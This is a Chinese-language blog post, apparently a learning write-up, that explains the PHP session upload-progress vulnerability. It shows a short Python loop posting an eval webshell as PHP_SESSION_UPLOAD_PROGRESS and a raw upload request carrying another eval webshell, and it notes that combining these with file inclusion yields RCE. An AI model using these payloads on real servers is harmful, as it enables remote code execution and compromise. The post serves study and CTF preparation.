PHP_Session上传进程漏洞

Posted hunpi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP_Session上传进程漏洞相关的知识,希望对你有一定的参考价值。

Session简述

  安全的开发是编程,学习资料:php中文网和PHP手册。
从程序的设计、功能场景的实现细节、漏洞点、漏洞利用来探析漏洞原理。

  会话机制(Session)用于保持用户连续访问Web应用时的相关数据。
创建独享的session文件,存储用户数据,取出数据为用户服务。

  本地PHP的默认配置:
在这里插入图片描述

解释配置参数

  php.ini的部分会话配置选项:

场景名字默认
会话存储路径session.save_path“”
(返回)指定会话名session.name“PHPSESSID”
会话处理器session.save_handler“files”
自动开启会话session.auto_start"0"不启动

  php.ini中文件上传的相关配置参数

场景名字默认
上传进程索引session.upload_progress.prefix“upload_progress_”
上传进程名称session.upload_progress.name“PHP_SESSION_UPLOAD_PROGRESS”

漏洞原理探究

功能设计和实现细节

  (1)session.save_x参数,只有2个
  应用场景:
A.设置处理器handler,用于获取/储存关联session数据,默认是files
B.需要设置一个参数,向处理器提交session储存路径。当处理器默认时,储存路径默认为/tmp

  实现细节:使用.save_handler定义一个处理器,返回处理器名称;
使用.save_path保存session存储路径,并且向处理器提交路径。

  (2)session.upload_progress.x参数,有6个,只看4个
  版本信息:该系列功能参数是在PHP5.4.0设计的,搜索php5.3的php.ini,没有找到session.upload相关的参数。
  应用场景:
  A. PHP监控每个上传文件的上传进度,用于检查上传状态。
  B. 与上传状态对应,文件上传结束后,即在读取所有的POST数据后,PHP会立刻清空存储的上传信息。
  C. 监控操作不会主动报告上传信息,需要发送POST请求查看状态,所以为进程设置一个参数,让PHP自动报告上传进度,该参数可控。

  实现细节:
  A.设置session.upload_progress.enabled开启监控操作,把上传状态信息储存在$_Session变量,该变量会被存储在Session文件中。
  B.查看上传状态信息:发送包含上传进程变量名的POST请求,默认进程变量名是PHP_SESSION_UPLOAD_PROGRESS,PHP检测到请求后会把上传状态数据,添加到$_Session变量
查看状态数据:$_Session [init_get("xx.prefix").init_get("xx.name") ]

漏洞点

  设计和实现细节,理论上看起来很合理。
从利用脚本反推,为什么传入的上传进程变量的值会被写入Session文件。

def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)    # 写入session文件,会话文件名为sess_sessid
        resp = session.post( 'http://127.0.0.1/include.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )

  问题1:在上传文件的过程中,如果我们发送一个POST请求查看上传状态等信息,程序会执行哪些操作?
  解答:程序会把上传信息存储到$_session变量中,方便用户查看。

  问题2:上传信息包含哪些信息?
  解答:上传任务的进程名+序列化数据。
  脚本实验来查看:首先设置session.upload_progress.cleanup为Off。
运行漏洞利用的Python脚本,打开保存的Session文件,发现写入了上传文件的进程名和值。即向文件写入session.xx.prefixsession.xx.name的值。
在这里插入图片描述
  问题3:具体过程,手动逐步进行实验?
设置session.upload_progress.cleanup参数为off,方便查看session信息。
  (1)前端界面:编写上传文件的表单,包括上传进程的命名。

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>测试</title>
  
</head>
<body>
<div id="fileUpload">
  <form id="upload-form" action="upload.php" method="post" enctype="multipart/form-data" target="hidden_iframe">
    <p>
      <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="file1" />
      <input type="file" name="demo">
      <input type="submit" value="上传">
    </p>
  </form>
</div>

  (2)拿到标准POST数据:抓取数据包,复制POST数据、复制Content-Type。

POST /upload.php HTTP/1.1
xxx
Content-Type: multipart/form-data; boundary=---------------------------9675903019963782011197582804
Cookie: Hm_lvt_0fba23df1ee7ec49af558fb29456f532=1620301597; security_level=0; PHPSESSID=test
Upgrade-Insecure-Requests: 1

-----------------------------38575131538518730681186755729
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

file1
-----------------------------38575131538518730681186755729
Content-Disposition: form-data; name="demo"; filename="script.php"
Content-Type: application/x-php

<script language="pHp">@eval($_POST[shell])</script>
-----------------------------38575131538518730681186755729--

  (3)编写后端PHP文件,测试空文件发现写入session成功。
编写.html后端文件测试不通过。

<?php?>

在这里插入图片描述
  实验表明,只要我们传入上传文件的表单,PHP就会监控文件上传,并且当POST数据中,包含值为session.upload_progress.name变量值的变量时,程序就会把进程名、以及上传信息写入会话文件sess_sessid。
(表单变量名称==进程名前缀时,表单变量值==进程名,并写入session)

  问题4:为什么会话文件sess_sessid能执行PHP代码?
  解答:因为会话文件会被PHP的解析器进行解析,从而获取会话数据。
举个例子,会话文件中的序列化数据,需要被读取并执行反序列化操作。
这一系列操作由PHP解析器执行,因此会解析执行包含其中的PHP代码。

  问题5:设计的不足?
  解答:从功能上,由于现实中可能会有极大的文件需要上传,因此查看上传信息的功能是无可厚非的。与之相应的,每个上传任务都必须有自己独有的进程名,无可厚非。
  但是,上传任务的进程名交给了用户控制,而进程名作为标识会被写入文件,此时就出现了漏洞。当然,用户需要查看自己的上传信息,那可不可以由系统生成进程名,然后把进程名返回给用户?见仁见智。


漏洞利用

文件包含+

  结合文件包含漏洞,可以Getshell。详情见本专栏文章《PHP_Session文件上传利用:文件包含》,脚本通过条件竞争来对抗session.upload_progress.cleanup参数的开启,从而实现RCE。


总结反思

收获

  (1)安全基于开发:只有熟悉程序的应用场景、功能设计、以及具体实现细节时,才能更好地挖掘和学习漏洞。
  本次漏洞学习,查找了多篇技术文章,估计阅读、梳理、筛选就要花费大半天的时间。技术文章常常是碎片化的,更快的学习方式还是通过书籍细致地了解程序功能的设计原理、功能的应用场景等。

  (2)关于PHP的学习,目前还没有找到合适的资源。
PHP官网的手册,Session部分的上传进程参数的说明比较模糊;
PHP中文网的一些手册,常常是一些基础的应用。
  是时候探索PHP社区了。

  (3)关于学习方向和方式:
出于CTF比赛以及其他考虑,个人希望能真切地投入到PHP社区中去,
把PHP审计作为目前的主要方向之一,学习PHP编程和设计原理。

参考

  《PHP 手册 函数参考 Session 扩展 Sessions 安装/配置 》,
https://www.php.net/manual/zh/session.configuration.php

  《session.upload_progress.enabled开启的问题》,2018-06
https://blog.csdn.net/weixin_30539835/article/details/99877597

  《利用session.upload_progress进行文件包含和反序列化渗透》
https://www.freebuf.com/vuls/202819.html

以上是关于PHP_Session上传进程漏洞的主要内容,如果未能解决你的问题,请参考以下文章

使用 Python 编写文件上传漏洞Poc

PHP_Session文件上传利用:文件包含

PHP_SESSION学习小结

php文件上传漏洞代码只允许上传图片

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

文件上传漏洞代码